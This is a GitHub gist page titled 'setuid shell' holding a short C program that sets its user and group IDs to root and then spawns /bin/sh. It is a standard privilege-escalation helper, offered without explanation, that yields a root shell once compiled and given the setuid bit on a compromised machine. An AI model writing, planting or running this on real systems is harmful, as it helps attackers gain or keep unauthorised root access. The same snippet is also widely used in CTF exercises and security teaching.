Created
May 12, 2020 15:19
-
-
Save c4mx/67f9ae33af5eebf33a29cf4c539c120f to your computer and use it in GitHub Desktop.
setuid shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <unistd.h> | |
int main() { | |
setuid(0); | |
setgid(0); | |
system("/bin/sh"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment